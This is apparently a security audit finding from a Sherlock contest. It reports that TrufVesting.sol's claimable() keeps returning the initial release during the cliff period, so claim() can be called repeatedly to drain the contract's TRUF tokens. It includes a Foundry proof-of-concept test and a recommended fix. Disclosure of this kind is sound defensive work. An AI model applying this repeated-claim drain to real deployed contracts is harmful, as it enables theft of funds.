Savory Peanut Falcon

high

# TRUF tokens in `TrufVesting.sol` can be drained

## Summary
All of the TRUF tokens in the `TrufVesting.sol` contract can be drained.

## Vulnerability Detail

In `TrufVesting.sol` the function `claim()` calls `claimable()` to retrieve the amount of TRUF tokens the caller should be able to claim for a specific vesting tuple `(categoryId, vestingId)`. If the call is executed during the cliff period of the specified vesting tuple `(categoryId, vestingId)` then the function `claimable()` always returns a fixed amount at [#L14](https://github.com/sherlock-audit/2023-12-truflation/blob/main/truflation-contracts/src/token/TrufVesting.sol#L181):

```solidity
        uint64 startTime = userVesting.startTime + info.initialReleasePeriod;

        if (startTime > block.timestamp) {
            return 0;
        }
        
        //...SNIP...

        startTime += info.cliff;

        if (startTime > block.timestamp) {
            return initialRelease; //<-- ALWAYS RETURNS initialRelease
        }
```

## Impact

The function `claim()` can be called multiple times in a row during the cliff period of a vesting tuple `(categoryId, vestingId)` by an address that has a vesting amount to drain all the TRUF tokens held in the `TrufVesting.sol` contract. This is possible because in this timeframe `claimable()` always returns `initialRelease` which is a percentage of the vesting amount of the caller.

## Code Snippet
https://github.com/sherlock-audit/2023-12-truflation/blob/main/truflation-contracts/src/token/TrufVesting.sol#L181

## POC
Add this function to `TrufVesting.t.sol` to test the described exploit:

```solidity
    function testClaimMultipleCalls() external {
        console.log("Claim available amount");

        _setupVestingPlan();
        _setupExampleUserVestings();

        uint256 categoryId = 2;
        uint256 vestingId = 0;

        (uint256 amount,,, uint64 startTime) = vesting.userVestings(categoryId, vestingId, alice);
        (uint64 _initialReleasePct, uint64 _initialReleasePeriod, uint64 _cliff,,) =
            vesting.vestingInfos(categoryId, vestingId);
        uint64 tgeTime = vesting.tgeTime();

        vm.warp(tgeTime + _initialReleasePeriod + _cliff - 1);
        // vm.warp(block.timestamp + 50 days);

        uint256 claimAmount = vesting.claimable(categoryId, vestingId, alice);
        assertNotEq(vesting.claimable(categoryId, vestingId, alice), 0, "Claimable amount should be non-zero");

        vm.startPrank(alice);

        vm.expectEmit(true, true, true, true, address(vesting));
        emit Claimed(categoryId, vestingId, alice, claimAmount);
        
        console.log("Calling claim multiple times in a row");
        vesting.claim(alice, categoryId, vestingId, claimAmount);
        vesting.claim(alice, categoryId, vestingId, claimAmount);
        vesting.claim(alice, categoryId, vestingId, claimAmount);
        vesting.claim(alice, categoryId, vestingId, claimAmount);
        vesting.claim(alice, categoryId, vestingId, claimAmount);
        vesting.claim(alice, categoryId, vestingId, claimAmount);

        vm.stopPrank();
    }
```

## Tool used

Manual Review

## Recommendation

In the `claimable()` function in `TrufVesting.sol` subtract the already claimed amount when returning the claimable amount during a cliff period:

```solidity
if (startTime > block.timestamp) {
    return initialRelease - userVesting.claimed;
}
```

